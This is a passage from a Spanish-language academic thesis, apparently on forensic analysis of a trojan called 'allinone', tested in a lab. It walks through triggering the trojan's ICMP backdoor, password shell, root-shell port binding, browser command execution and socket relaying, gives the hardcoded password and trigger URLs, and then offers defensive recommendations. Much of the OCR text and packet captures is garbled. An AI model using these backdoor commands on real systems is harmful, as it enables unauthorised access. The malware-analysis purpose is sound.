La opcidn —c especifica el nimero de pings a hacer, por defecto es infinito, o hasta
gue se detenga al programa, esta opcién permite una vez que se haya pasado el

namero de pings especificados, se detenga.

Luego utilizamos el comando nc (netcat), este comando lee y escribe datos a través

de conexiones de red utilizando el protocolo TCP (protocolo de control de


http://es.wikipedia.org/wiki/Byte
http://es.wikipedia.org/wiki/Byte
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transmision) o el protocolo UDP (protocolo de datagrama de usuario), lo utilizamos

de la siguiente manera:

nc ipvictima 8080

File Edit View Terminal Help

Figura 4.5-11 Backdoor ICMP
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Nos pide una contrasefia, esta contrasefia se encuentra documentada en los

comentarios del archivo allinone, una vez que acepta la contrasefia accede a la

maquina de la victima por medio de lineas de comando.

L O

2. dicmpy backdoor
Client:
ping -1 101 tcarget (on windows)

ping —= 101 —c 4 target (omn l1inuax)

ne target 080
kEissme:) ——> wour password

S.shell backdoor
Clienmt:

Figura 4.5-12 Documentacion allinone.c

En la captura del trafico observamos que los cuatro ping han sido correctos

Ncv Time Source

‘Destination

1 0.000€ CadmusCo_080:0d: Broadcast ARP 42 who has 192.168.1.2?

2 0.8005 CadmusCo_6e:40: CadmusCo_080:0d:30 ARP

3 0.0002192.168.1.1
4 0.0017192.168.1.2
51.6014192,168.1.1

192.168.1.2 143 Echo (ping) request
1192,168.1.1 | 143 Echo (ping) reply
1192,168.1.2 I 143 Echo (ping) request

6 1.6026192.168.1.2  192.168.1.1 ICMP 143 Echo (ping) reply
72.0064192.168.1.1  192.168.1.2 1o 143 Echo (ping) request
8 2.001€192.168.1.2  192.168.1.1 ICHP 143 Echo (ping) reply
03.0005192.168.1.1  192,168.1.2 IcHP 143 Echo (ping) request
10 3.6011192.168.1.2  192.168.1.1 1P 143 Echo (ping) reply
11 5.048€ CadmusCo_6e:40: CadmusCo 80:0d:30 ARP 60 Who has 192.168.1.1?

~ 12 5.048¢ CadmusCo 60:0d: CadmusCo 6e:40:03 ARP |
—_— .

60 192.168.1.2 is at 08:

42 192.168.1.1 is at 68:

Tell 192.168.1.1
00:27:6e:40:03
1d=0xb206, seq=1/256,
1d=0xb206, seq=1/256, ttls=6
1d=0xb206, seq=2/512, ttl=6
1d=0xb206, seq=2/512, ttl=6
id=0xb206, seq=3/768, ttl=6
1d=0xb206, seq=3/768, ttl=6
1d=0xb206, seq=4/1024, ttl=
1d=0xb206, seq=4/1024, ttl=
Tell 192.168.1.2
00:27:00:6d:30

+ Frame 3: 143 bytes on wire (1144 bits), 143 bytes captured (1144 bits)

+| Ethernet II, Src: CadmusCo 00:0d:30 (08:00:27:00:0d:30), Dst: CadmusCo 6e:40:03 (08:00:27:6e:40:03)
+ Internet Protocol Version 4, Src: 192.168.1.1 (192.168.1,1), Dst: 192.168.1.2 (192,168.1.2)
+| Internet Control Hes&age Protocol

9000 08 00 27 6e 40 63 68 00 27 00 6d 30 08 60 45 00 :..'n@... *BiE,
5010 00 81 00 00 406 68 40 01 b7 28 ¢0 a8 01 61 c8 a8 ....@.@. .(......

ethl [Wireshark 1.6.5... =] root@bt: ~

Figura 4.5-13 Captura en el tréafico
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Luego de los cuatro pings, se establece la comunicacion mediante los

puertos 38500 (atacante) y 8080 (victima).

Destination Length Info
192.168.1.2  Id 145 Echo (ping) request 10-6xdes, seq=3/768, TEl=64

1.2 192.168.1.1 143 Echo (ping) reply  id-0xfde6, seq=3/768, ttl-64
46 51.635192.168.1.1  192.168.1.2 I 143 Echo (ping) request id=0xfde6, seq=4/1024, tt1=64
47 51.63€192.168.1.2  192.168.1.1 P 143 Echo (ping) reply

50 52.652192.168.1.1 192.168.1.2 : '
51 52.65:192.168.1.2 R 89 Continuation or non-HTTP traffic

52 52.653192.168.1.1  192.168.1.2 66 38500 > http-alt [ACK] Seq=1 Ack=24 Win=14608 Len=

53 57.315192.168.1.1  192.168.1.2 HTTP | 75 Continuation or non-HTTP traffic

54 57.315192.168.1.2  192.168.1.1 TCP 66 http-alt > 38560 [ACK] Seq=24 Ack=10 Win=5888 Len=

55 57.319192.168.1.2  192.168.1.1 HTTP 188 Continuation or non-HTTP traffic v
— >

(+| Frame 51: 89 bytes on wire (712 bits), 89 bytes captured (712 bits) :
[+| Ethernet II, Src: CadmusCo 6e:40:03 (08:00:27:6e:40:03), Dst: CadmusCo 00:0d:30 (08:00:27:00:0d:30) ’
[+| Internet Protocol Version 4, Src: 192.168.1.2 (192.168.1.2), Dst: 192.168.1.1 (192.168.1.1) ‘

I

|=| Transmission Control Protocol, Src Port: http-alt (8680), Dst Port: 38500 (38500), Seq: 1, Ack: 1, Len: 23

0000 08 00 27 00 0d 30 08 60 27 6e 40 03 08 00 45 00 ..'..0.. 'n@...E.
0010 00 4b 24 82 40 00 40 06 92 d7 c0 a8 01 02 c6 a8 .KS.@.@. ........

Figura 4.5-14 Captura de trafico
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4.5.3 BACKDOOR SHELL

El objetivo especifico de un backdoorshelles enviar una shell ya bien sea de Linux o

Windows hacia la ip y puerto que le hayamos especificado.

Los comandos a utilizar son los siguientes:

ncipvictima 8008

Nos pide una contrasefia, esta contrasefia se encuentra documentada en los
comentarios del archivo allinone, una vez que acepta la contrasefia accede a la

maquina de la victima por medio de lineas de comando.

rupos=0/(re

= ¥ Mozilla Firefox ] root@bt: ~

Figura 4.5-15 Backdoor shell
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=

* 3.5hell backdoor

* Client:

* no target 2008

¥ kKizszme:) ——> your password
=

Figura 4.5-16 Documentacion Backdoor shell

El analizador de trafico de red nos confirma los puertos usados en este ataque,

puerto fuente es 45652 (atacante) y puerto destino 8008 (victima).

E§'<> o

No. Time Source Destination _ Protocol Length Info ,
94[5245 .0.0.0.0 255.255. m.u&m- | 342 DHCP Discover - Transaction ID 0x95fd2d2a

1 5410.0.6.0.0 :ﬂz'inﬂtr’ Discover - Transaction ID ©xc8f4697d
!o{sm.io.o 0.0 342 DHCP Discover - Transaction ID Oxc0f4097d

98 5437.0.0.0.0 255.255.255.255 DHCP
}m.]un 255.255.255.255 DHCP

;summyohumn Transaction ID 0xcef4697d
342 DHCP Discover - Transaction ID @xcef4e97d

-l

975429.0.0.0.6  255. zsr{,zss 255DHCP 342 DHCP Discover - Transactidn I0 6xcof4097d
|
|

160 5642. CadmusCo | 00:0 Broadcast ARP 42 who has 192.168.1.27? Tell 192.168.1.1

101 5642. CadmusCo_Ge 4 CadmusCo 00:6d: ARP 66 192.168.1.2 is at 08:00:27:6e:40:03

102 5642, 192,168,1.1 192.168.1.2 TCP 74 45652 > http-alt [SYN] Seq=0 Win=14600 Len=€

104 5642.192.168.1.1 192.168.1.2 TCP 66 45652 > http-alt [ACK] Seg=1 Ack=1 Win=1460¢ -
e RS . | 2 RIS A % -

+ Frame 102: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
+ Ethernet II, Src: CadmusCo 00:6d:30 (68:00:27:00:0d:30), Dst: CadmusCo 6e:40:03 (08:00:27:6e:46:0
+ Internet Protocol Version 4, Src: 192.168.1.1 (192.168.1.1), Dst: 192.168.1.2 (192.168.1.2)

Transmission Control Protocol, Src Port: 45652 (45652), Dst Port: http-alt (8068), Seq: ©, Len: @

————————— s
-

YPLRRrl02 54 1f 48 24 df cf dd 00 00 00 00 a0 O T.HS. ........ A
110630 39 08 83 82 00 00 ©2 04 65 b4 04 02 08 Ba 60 3a <l S raviiar s u aet
| 'S Capturing from ethl ... ¥) Mozilla Firefox

Flgura 4.5-17 Captura Backdoor shell



143

4.5.4 DIRECCIONAR UN ROOT SHELL A UN PUERTO

El objetivo especifico de este ataque es direccionar unarootshella un puerto

especifico del atacante.
Lo primero que hay que hacer es abrir un navegador y teclear lo siguiente:
http://target:8008/bindport:9999

Ese que se tecleo determina si el ataque puede ser ejecutado a través de ese

puerto, el atacante utiliz6 el puerto 9999 (puerto victima), como se muestra en la

imagen el ataque se puede realizar utilizando este puerto.

File Edit View History Bookmarks Tools Help
| (] http://192.168.1...8/bindport:9999 &S

& ) 192.168.1.2:8008/bindport:9999 v €[4 Goq
i BackTrack Linux [jjOffensive Security KBExploit-DB WyAircrack-ng [ SomaFM

Content-type: text/html

<html>

<head><title>Bind Shell ok.:)</title></head>
<body bgcolor="#000000">

<div align="center"><p>

<font face="Arial" color="#999999" size="7"><b>
You get it, goodluck! :-)
</b></font></p></div><br>

</body></html>

Figura 4.5-18 Direccionar un Shell a un puerto
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Luego se teclea lo siguiente:
ncipvictima 9999, nos pide una contrasenfa, la contrasefia a ingresar es

kissme:), esta contrasefia se encuentra especificada en los comentarios del archivo
allinone.c
v X root@bt: ~

File Edit View Terminal Help

:~# nc 192.168.1.2

[Mozill... [root@b... [ root@bt... '] root@b... [Mozilla... [X) root@bt... |

Figura 4.5-19 Parametros de ataque
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4. bhind a root =shell on your portc
Client:

http: /S target : 8008/ bindportc 1 99299
nc target 9999

kEi=z=ame:) ——>» wywour password

ok ¥ F ¥

Figura 4.5-20 Informacion adicional

Al capturar el trafico se observé que se establecié la comunicacion entre el atacante

y la victima mediante los puertos 9999 y 39233.

No. Time Source  Destination Protocol Length Info

10 6.0023192.168.1.2 192.168.1.1 66 http-alt > 45645 [ACK] Seq=244 Ack=303 Win=6912 }

|
|
13 4.6784192.168.1.1 192.168.1.2 66 39233 > distinct [ACK] Seq=1 Ack=1 Win=14668 Len|

14 4.679€192.168.1.2 192.168.1.1 89 distinct > 39233 [PSH, ACK] Seg=1 Ack=1 Win=5888
J< 15 4.679€192.168.1.1 192.168.1.2 TCcP 66 39233 > distinct [ACK] Seg=1 Ack=24 Win=14668 Le

16 7.803¢192.168.1.1 192.168.1.2 TCP 75 39233 > distinct [PSH, ACK] Seg=1 Ack=24 Win=146

17 7.804€192.168.1.2 192.168.1.1 TP 66 distinct > 39233 [ACK] Seq=24 Ack=10 Win=5888 Le

18 7.804€192.168.1.2 192.168.1.1 TCP 188 distinct > 39233 [PSH, ACK] Seq=24 Ack=10 Win=58

19 7.8046192.168.1.1 192.168.1.2 TCP 66 39233 > distinct [ACK] Seq=10 Ack=146 Win=14668 -
e ;
[TUrTame 13 UU UYLES U WAIE (JZU UIL3]; UU UyLes Capluitu (JLu UL :

|+ Ethernet II, Src: CadmusCo 00:0d:30 (08:00:27:00:0d:30), Dst: CadmusCo 6e:48:03 (08:00:27:6e:40:03) ;‘
' Internet Protocol Version 4, Src: 192.168.1.1 (192.168.1.1), Dst: 192.168.1.2 (192.168.1.2) J'I
|~ Transmission Control Protocol, Src Port: 39233 (39233), Dst Port: distinct (9999), Seq: 1, Ack: 1, Len: @
Source port: 39233 (39233)

0010 60 34 58 bl 40 00 40 66 Se bf cO a8 61 O1 ¢ 38 .4X.@.@. ".......
ethl [Wireshark 1.6.5... ) Mozilla Firefox -] root@bt: ~ 5

Figura 4.5-20 Captura de direccionamiento
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4.5.4.1 ACCEDER A UN SHELL POR MEDIO DE UN NAVEGADOR

El objetivo especifico de este ataque es acceder a una rootshell por medio de un

navegador, en el navegador se debe teclear lo siguiente:

http://ipvictima:8008/givemeshell, como se observa en las imagenes toda la

informacién se muestra en el navegador.

/ History Bookmarks Tools Help

{ i http://192.168....meshell:whoami

& I S [ 192168.1.2:8008/givemeshell:whoz ve
X ® [le8
B BackTrack Linux [fjOffensive Security EBExploit-DB Wy Aircrack-ng J§§SomaFM

Content-type: text/html

<html>

<head><title>Shell ok.:)</title></head>
<body bgcolor="#000000">

<div align="left">

<pre><font face="Arial" color="#999999" size="2">
<b>Your Command:</b>

whoami<br>

<hr>

jose

<br>

</font></pre></div><br>

</body></htnl>

Figura 4.5-21 Acceder a un Shell a través del navegador


http://ipvíctima:8008/givemeshell
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Edit View History Bookmarks Tools Help

[} http://192.168....sb_release%20-a &

@ S ({3} 192.168.1.2:8008/givemeshell:Isb_release -a v§

Qv coQ] £

) BackTrack Linux [jjOffensive Security KBExploit-DB Yy Aircrack-ng J§SomaFM
Content-type: text/html

<html>

<head><title>Shell ok.:)</title></head>

<body bgcolor="#000000"> LY
<div align="left">

<pre><font face="Arial" color="#999999" size="2">

<b>Your Command:</b>

1sb_release -a<br>

<br>

LSB Version: :core-3.1-1a32:core-3.1-noarch:graphics-3.1-1a32:graphics-3.1-noarch
Distributor ID: Cent0S

Description:  Cent0S release 5.5 (Final)

Release: 5¢9

Codenanme: Final

<br>

</font></pre></div><br>

</body></html>

Figura 4.5-22 Acceder a un Shell através del navegador

En la captura de trafico se observé que los puertos usados son 8008 (victima) y

45651 (atacante).
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= ' ' ElE] ° °

3 0.000€192.168.1.1 192.168.1.2 TCP 66 45651 > http-alt [ACK] Seg=1 Ack=1 Win=14608 Len=0 T

4 0.0013192.168.1.1 192.168.1.2 TCP 372 45651 > http-alt [PSH, ACK] Seq=1 Ack=1 Win=14668 Le

5 0,002€192.168.1.2 192.168.1.1 TCP 66 http-alt > 45651 [ACK] Seq=1 Ack=307 Win=6912 Len=0

6 0.0074192.168.1.2 192,168.1.1 TCP 232 http-alt > 45651 [PSH, ACK] Seq=1 Ack=307 Win=6912 L.
6.00 o 68 9 F 60 6 D-3 A a A 8

10 0.0083192.168.1.2 192.168.1.1 TCP 66 http-alt > 45651 [ACK] Seq=255 Ack=308 Win=6912

|+ Frame 7: 66 bytes on wire (528 bits), 66 bytes capturéd (528 bits)
+| Ethernet II, Src: CadmusCo 00:0d:30 (08:00:27:00:0d:30), Dst: CadmusCo 6e:40:03 (08:00:27:6e:40:03) |'

|+ Internet Protocol Version 4, Src: 192.168.1.1 (192.168.1.1), Dst: 192.168.1.2 (192.168.1.2) ‘
|~ Transmission Control Protocol, Src Port: 45651 (45651), Dst Port: http-alt (8008), Seq: 307, Ack: 167, Len: |

|

| Source port: 45651 (45651) R I

F————————————————

0000 08 00 27 6e 40 03 68 00 27 00 6d 30 08 00 45 00 sio N@5:en *oiliiES 1]&

0010 00 34 7a 0a 40 60 40 06 3d 66 cO a8 01 61 cO 38 .42.@.@. =f...... [
ab g 0

Figura 4.5-23 Acceder a un Shell a través del navegador

455 TRANSMISION DE SOCKETS

El objetivo especifico de este ataque es acceder a informacién de manera ilicita por
medio de transmision de puertos, una vez que se ha ejecutado el programa

malicioso se debe ingresar a un navegador lo siguiente:

http://ipvicitma:8008/socks/:puerto_local::ip_local:::puerto_victima.


http://ipvícitma:8008/socks/:puerto_local::ip_local:::puerto_víctima
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En este ejemplo hemos utilizado el puerto 80 como victima, el ataque puede ser

realizado con éxito ya que nos muestra un mensaje.

(I http://192.168....2.168.1,1:::80 ¥ I NEEIESNRGEGIIE

A

~ St |} 192.168.1.2 7041 v @ l'." 50Q| @
By BackTrack Linux [fjoffensive Security KBExploit-DB Wy Aircrack-ng i SomaFM

Content-type: text/html

<htal>

<head><title>Tran ok.:)</title></head>

<body bgcolor="#000000">

<div align="center"><p>

<font face="Arial" color="£999999" size="7"><b>
Tran ok!

</b></font></p></div><br>

</body></htal>

[ethl [Wireshark 1.6.... &) Mozilla Firefox ] root@bt: ~

Figura 4.5-24 Transmisién de sockets

Con el analizador de trafico de red se determina que para ejecutar este ataque se

utilizan los puertos 8008 (victima) y 45722 (atacante)
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No. Time Source Destination ~ Protocol Length Info 2
1
3 0.6064%192.168.1.1 192.168.1.2 TCP 66 45722 > http-alt [ACK] Seg=1 Ack=1 Win=14668 Len=8 TSval=5
4 0.00075192.168.1.1 192.168.1.2 TCP 383 45722 > http-alt [PSH, ACK] Seg=l Ack=1 Win=14668 Len=317
5 0.0011£192.168.1.2 192.168.1.1 TCP 66 http-alt > 45722 [ACK] Seq=1 Ack=318 Win=6912 Len=8 TSval=
6 0.06014¢192.168.1.2 192.168.1.1 TCP 285 http-alt > 45722 [PSH, ACK] Seg=1 Ack=318 Win=6912 Len=
7 0.60145192.168.1.1 192.168.1.2 TCP 66 45722 > http-alt [ACK] Seq=318 Ack=220 Win=15680 Len=0 M

|+ Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 'l
1; Ethernet II, Src: CadmusCo 66:0d:30 (68:00:27:00:0d:38), Dst: CadmusCo 6e:46:03 (68:00:27:6e:40:03) [
|4 Internet Protocol Version 4, Src: 192.168.1.1 (192.168.1.1), Dst: 192.168.1.2 (192.168.1.2) ]

Source port: 45722 (45722)

Destination port: http-alt (8068)

[Stream index: 8]

Sequence number: © (relative sequence number)
Header length: 40 bytes

0660 08 06 27 be 46 63 O
4

08 60 4500 ..'ng... '..0..E. 7
BO16 00 3c be 96 40 60 o1

3 60 27 00 od 30
0 96 fB8 dl c6 a8 01 B1 c® aB .<..0.@. ...0iuns

Figura 4.5-25 Transmision de sockets

Luego ejecutar el comando nc con la ip de la victima y el puerto local especificado

anteriormente, en este ejemplo es el 2727 (atacante).
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View History Bookmarks Tools Help
x root@bt: ~
File Edit View Terminal Help

[ethl [Wireshark 1.6.... ¥) Mozilla Firefox

Figura 4.5-26 Transmisiéon de sockets

Con el analizador de tréafico de red se establece la conexidén entre ambos puertos
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192.168.1.1
13 2.5655€192.168.1.1 192.168.1.2
14 2.5662:192.168.1.2  192.168.1.1

66 46991 > mgcp-callagent [ACK] Seg=1 Ack=1 Win=14668 Len=6 T
74 48530 > http [SYN] Seq=0 Win=5846 Len=8 MSS=1460 SACK_PERM

18 2.5672¢192.168.1.2 192.168.1.1 e 66 mgcp-callagent > 46991 [ACK] Seq=2 Ack=2 Win=5888 Len=d TS -
T
1| Frame 12: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) '
¢| Ethernet II, Src: CadmusCo_6e:46:63 (88:00:27:6e:49:03), Dst: CadnusCo 00:6:30 (08:60:27:00:0d:38)
b/ Internet Protocol Version 4, Src: 192.168.1.2 (152.168.1.2), Dst: 192.168.1.1 (192.168.1.1)

Source port: mgcp- callagent (2727)
Destination port: 46991 (46991)
[Stream index: 1)

Sequence number: 8 (relative sequence number)
Acknwledoenent number: 1 (relative ack number)

%068%2706%366880 27&490368964566 sotedBi. 'N@.E.
B10 9O 3c 66 66 40 00 40 66 b7 68 cO aB 61 62 cB a8 .<..8.@. .h

020 81 0] Ba a7 b7 Bf 47 ad b8 B8O Ga fd af

Capturing fromethl ... &) Mozilla Firefox =] root@bt: ~ L

Figura 4.5-27 Transmisién de sockets

13 2.5655¢192.168.1.1 192.168.1.2 66 46991 > mocp-callagent [ACK] Seq=1 Ack=1 Win=14608 Len=8 T
14 2.5662:1192.168.1.2 192.168.1.1 TCP | 74 40530 > http [SYN] Seq=0 Win=5840 Len= MSS=1460 SACK PERM

15 2.5662° 192.168.1.1 192.168.1.2 ; 54 http > 40530 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0 '

18 2.5672¢192.168.1.2 192.168.1.1 Tce 66 mgcp-callagent > 46991 [AO(]SeqaZAch-ZHimSBSBLm-OTS%r
— e .

+ Frame 15: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) ‘ -y
1{ Ethernet II, Src: CadmusCo 060:0d:30 (08:00:27:00:08d:30), Dst: CadmusCo 6e:40:63 (88:00:27:6e:46:63) \ |
:j Internet Protocol Version 4, Src: 192.168.1.1 (192.168.1.1), Dst: 192.168.1.2 (192.168.1.2) |

Source port: http (80) ll
Destination port: 48536 (46530)
|
|

[Stream index: 2]
Sequence number: 1 (relative sequence number)
Acknowledgement number: 1 (relative ack number)

2000 68 00 27 6e 40 03 08 68 27 00 00 30 08 00 45 00 ., 'nQ... '..0..E.
3010 00 28 60 00 40 00 40 06 b7 7c cO 28 01 61 cOaB By i TR

020 01 52 08 50 Qe Db 08 00 00 d/ b PR

™™ T Capturingfromethl .. ©) Mc‘zraF refox ] root@bt: ~

Figura 4.5-28 Transmision de sockets
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4.5.6 INTEGRIDAD DEL ARCHIVO

Ya hemos analizado los ataques que puede realizar este cédigo malicioso, por
ultimo nos quedaria verificar que la evidencia no ha sido alterada o sufrido algun

cambio en su analisis y haber mantenido su integridad.

Se utiliza el comando md5sum con la opcion —c, el cual se encargara de verificar si
la evidencia ha sido alterada o no, la grafica muestra que toda nuestra evidencia

mantiene su integridad.

Applications Places System | Tue Aug 14, 12:27 AM
~ v X root@bt: ~/TESIS

File Edit View Terminal Help

W W ethl [wir.. &) MozillaFir.. [Z] root@bt: ~ = [TESIS-Fil... '] root@bt; ~... I}

Figura 4.5-29 Integridad del archivo



Applications Places System [5 |

~ v % root@bt: ~/TESIS
File Edit View Terminal Help

TESIS# md5sum -c md5sumHELL
HELLO: OK

~/TESIS#

% ethl [wir... ¥ MozillaFir... [Z] root@bt: ~ ™ [TESIS - Fil... 'F~] root@bt: ~... Il

Figura 4.5-30 Integridad del archivo

Applications Places System c] 4 Tue Aug 14, 12:32 AM
v % root@bt: ~/TESIS
Edit View Terminal Help

TESIS# md5sum -c md5SsumAIO.txt

.;g,v: !
SIS# I

: OK

7 ethl [wir... ¥) MozillaFir... [Z] root@bt: ~ p» [TESIS - Fil... 'T-I root@bt: ~...

Figura 4.5-31 Integridad del archivo




155

File Edit View Temminal Help

TESIS# md5sun

W™ [ ethl [Wireshar... &) Mozilla Firefox ] root@bt: ~ ) root@bt: ~/TESIS =1
Figura 4.5-32 Integridad del archivo
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4.6 ANALISIS DE ARCHIVO HELLO.S

Al utilizar el comando file se pudo determinar que HELLO.S es un archivo de
lenguaje ensamblador, al revisar su contenido con el comando strings no se pudo

obtener ninguna informacion de relevancia o importancia.

Figura 4.6-1 Analisis del archivo hello.s
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CONCLUSIONES

1. Segun lo analizado e investigado el cédigo malicioso se presenta al usuario
como un programa aparentemente legitimo e inofensivo pero al ejecutarlo

ocasiona dafios, este se denomina en informatica como un troyano.

Los troyanos pueden realizar diferentes tareas, pero en la mayoria de los
casos crean una puerta trasera que permite la administracién remota a un

usuario no autorizado.

Un troyano no es un virus informético, aun cuando tedricamente pueda ser
distribuido y funcionar como tal. La diferencia fundamental entre un troyano y
un virus consiste en su finalidad, para que un programa sea un troyano solo

tiene que acceder y controlar la maquina victima sin ser advertido.
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Al contrario que un virus, que es un huésped destructivo, el troyano no

necesariamente provoca dafios porque no es su obijetivo.

Se puede utilizar un cédigo malicioso ya existente y modificarlo para hacerlo
menos vulnerable a los diferentes sistemas de seguridad de la red, minimos
cambios en un cbdigo malicioso pueden hacer que ya no sea reconocido
como malicioso por un programa antivirus, es por esta razén que existen

tantas variantes de virus, gusanos y otros codigos maliciosos.

El atacante puede hacer uso de los diferentes puertos utilizados y asi

comprometer la seguridad e integridad de los datos de la red.

Un atacante que intente 0 consiga tener control sobre nuestro ordenador
necesita tener a su disposicion una puerta abierta en nuestro ordenador para

poder comunicarse, es decir, un puerto de comunicaciones.

Los codigos maliciosos pueden tener multiples objetivos como extenderse
por la computadora, otras computadoras en una red o por internet, robar
informacion y claves, eliminar archivos e incluso formatear el disco duro o

mostrar publicidad no deseada.
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RECOMENDACIONES

1. Una medida basica de seguridad es conocer que puertos tenemos; cuales
estan abiertos y porgue estan abiertos, hay que analizarlos dependiendo de
los servicios que utilice la empresa porque de no ser asi puede representar

una potencial falla de seguridad.

2. Desde el punto de vista de seguridad, es recomendable permitir el acceso
sélo a los servicios que sean imprescindibles, dado que cualquier servicio

expuesto a Internet es un punto de acceso potencial para intrusos.

3. Deberia implementarse soluciones anti-x, estas son herramientas para la
deteccion y eliminacion de amenazas de tipo spam, virus 0 malware, que se

encuentran en el trafico de la red o en el correo.
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4. Otra buena recomendacion con respecto a la seguridad de la red es la
implementacién de HIPS o sistema de prevencion contra intrusos, es un
sistema que monitorea cada actividad que realiza un programa y notifica al
usuario lo que esta pasando para que este tome accion, permitiendo o
blogueando la accién. Adicional los HIPS incluyen sistemas de consultas de
comunidad en las notificaciones a los usuarios, estos sistemas intentan
ayudar al usuario a seleccionar la mejor opcién de bloquear o continuar en
base a las respuestas de otros usuarios. En otras palabras, cada vez que un
usuario bloquea o permite el acceso a un programa, el HIPS almacena esta
informacién en una base de datos central y la comparte con la comunidad de

usuarios de ese HIPS.

5. Otra medida de seguridad que se deberia tomar en cuenta es la
implementacién de un firewall que normalmente se utiliza para evitar que

usuarios no autorizados no puedan tener acceso a la red interna.

6. Es muy importante que se creen cuentas de usuarios con los permisos
estrictamente necesarios para las tareas que se vayan a realizar y de esta
manera poder minimizar las posibilidades de que un troyano pueda

ejecutarse con permisos de administrador.
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7. En las politicas de seguridad establecidas se debe incluir la aplicacién de
actualizaciones peridédicas de seguridad o parches, para esto lo mas
indicado seria tener un servidor de actualizaciones Central para evitar que
todas PC clientes de la red se conecten a internet a tratar de actualizar.
Estos equipos clientes deberia actualizar sus sistemas a través del Servidor
Central que es el Unico que podria conectarse a internet para bajar todas las

actualizaciones de los equipos de red.

8. Cuando haya la necesidad de instalar algin programa es muy importante
considerar que para prevenir posibles troyanos hay que asegurarse antes de
la instalacion de un paquete su checksum MD5 y su firma PGP. El MD5
comprueba la integridad y no alteraciéon del paquete, y la firma PGP la

autenticidad de su autor.

9. Mantener un servidor activo de logs en la red es muy importante para poder
monitorear toda la actividad que se genera en los equipos de comunicacion;
esto nos ayudaria para saber si las actividades programadas se cumplieron
correctamente o para determinar en qué actividad un servidor dio error y

colapsé o hubo algin movimiento sospechoso.



162

ANEXO A

VERSIONES DE BACKTRACK
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Segun su registro de desarrollo fueron liberadas las siguientes versiones:[15]

Tabla 1 Publicaciones

BackTrack 1.0 Beta

BackTrack 2 Primera Beta

BackTrack 2 Final

BackTrack 3 Final

BackTrack 4 Final

BackTrack 4 R1 Final

BackTrack 5 Final (Kernel 2.6.38)

BackTrack 5 R2 Final (Kernel 3.2.6)
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ANEXO B

SIMBOLOS, COMANDO NM
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A continuacién nos guiaremos con la siguiente tabla la cual nos indica el significado

de cada simbolo al momento de ejecutar el comando nm: [23]

Tabla 2 Simbolos nm

TIPO SIGNIFICADO
A El valor es absoluto
B El simbolo se encuentra en la seccion de datos sin
inicializar(.bbs)
D Datos inicializados(.data)
N Simbolos de depuracion
R Informacion de solo lectura(.rodata)
T Texto/cadigo de la seccion(.text)
U Simbolo sin definir
w Simbolo débil
? Simbolo desconocido
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ANEXO C

FORMATO ELF, ESTRUCTURA Y SECCIONES ELF
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FORMATO ELF (FORMATO EJECUTABLE Y VINCULABLE)

ELF también es conocido como un objeto de archivo con el cual se puede ejecutar

archivos o compartir librerias que cominmente son usados en sistemas Unix.[16]

Existen tres tipos principales de un objeto de archivo:

v' Archivo Reubicable: Tiene coédigo y datos adecuados para establecer

vinculos con otro objetos de archivos

v" Archivo Ejecutable: Tiene un programa adecuado para su ejecucion

v" Archivo de Objetos Compartidos: Contiene cddigo y datos adecuados

para la vinculacion en dos contextos

ESTRUCTURA ELF

La estructura del formato ELF nos ofrece dos representaciones en paralelo del

contenido del archivo las cuales son:

v' Vista Vinculada: Es donde se construye un programa

v Vista de Ejecucion: Es donde se ejecuta un programa SECCIONES

ELF[25]
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Tabla 3 Secciones ELF

Datos no inicializados presentes en la imagen del

proceso.

Datos inicializados en la imagen del proceso.

Informacion de Vinculamiento dinamico.

Tabla de simbolos para el Vinculamiento dinamico.

Tabla de desplazamiento global.

Cadigo de inicializacion para el proceso.

Numero de informacién de la linea de depuracion

simbdlica.

Recoleccién de informacion por seccion.

Nombres de seccion
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Tabla de simbolos.
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ANEXO D

COMANDO READELF -PROGRAM -HEADERS

TABLA DE ENTRADA DE LAS CABECERAS
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Significado de la entrada de las cabeceras al momento de ejecutar el comando

readelf —program —headers: [24]

Tabla 4 Entradas de Cabeceras

Informacion especifica de vinculacibn dinamica

(.dymanic).

Porcion del archivo que se carga en memoria

Ubicacion y tamafio de la tabla de la cabecera del

programa
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ANEXO E

LENGUAJE ENSAMBLADOR
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LENGUAJE ENSAMBLADOR

Ellenguaje ensamblador es unlenguaje de programacionde bajo nivel para
los computadores, microprocesadores, micro-controladores, Yy Otros circuitos integrados
programables. Implementa una representacién simbodlica de los cédigos de
maquina binarios y otras constantes necesarias para programar
una arquitectura dada de CPUy constituye la representacion mas directa del cdigo

maquina especifico para cada arquitectura legible por un programador.

El cbdigo escrito en lenguaje ensamblador posee una cierta dificultad de ser
entendido ya que su estructura se acerca al lenguaje maquina, es decir, es un

lenguaje de bajo nivel.[21]

Los programas hechos por un programador experto en lenguaje ensamblador son
generalmente mucho mas rapidos y consumen menos recursos del sistema
(memoria RAM y ROM) que el programa equivalente compilado desde un lenguaje
de alto nivel. Al programar cuidadosamente en lenguaje ensamblador se pueden
crear programas que se ejecutan mas rapidamente y ocupan menos espacio que

con lenguajes de alto nivel.

Con el lenguaje ensamblador se tiene un control muy preciso de las tareas

realizadas por un microprocesador por lo que se pueden crear segmentos de codigo


http://es.wikipedia.org/wiki/Lenguaje_de_programaci%C3%B3n
http://es.wikipedia.org/wiki/Lenguaje_de_bajo_nivel
http://es.wikipedia.org/wiki/Computador
http://es.wikipedia.org/wiki/Microprocesador
http://es.wikipedia.org/wiki/Microcontrolador
http://es.wikipedia.org/wiki/Circuito_integrado
http://es.wikipedia.org/wiki/C%C3%B3digo_de_m%C3%A1quina
http://es.wikipedia.org/wiki/C%C3%B3digo_de_m%C3%A1quina
http://es.wikipedia.org/wiki/Arquitectura_de_CPU
http://es.wikipedia.org/wiki/CPU
http://es.wikipedia.org/wiki/Lenguaje_de_m%C3%A1quina
http://es.wikipedia.org/wiki/Lenguaje_de_m%C3%A1quina
http://es.wikipedia.org/wiki/Microprocesador
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dificiles y muy ineficientes de programar en un lenguaje de alto nivel, ya que, entre
otras cosas, en el lenguaje ensamblador se dispone de instrucciones del CPU que
generalmente no estan disponibles en los lenguajes de alto nivel, también se puede
controlar el tiempo en que tarda una rutina en ejecutarse, e impedir que se

interrumpa durante su ejecucion.

INSTRUCCIONES DEL LENGUAJE ENSAMBLADOR

Entre las mas importantes tenemos:[22]

Tabla 5 Instrucciones del Lenguaje Ensamblador

push Almacena datos encima de la pila o
stack de memoria, una pila es una

estructura de memoria

pop Extrae datos de la pila o stack de
memoria

inc Incrementa 1 al contenido de registro

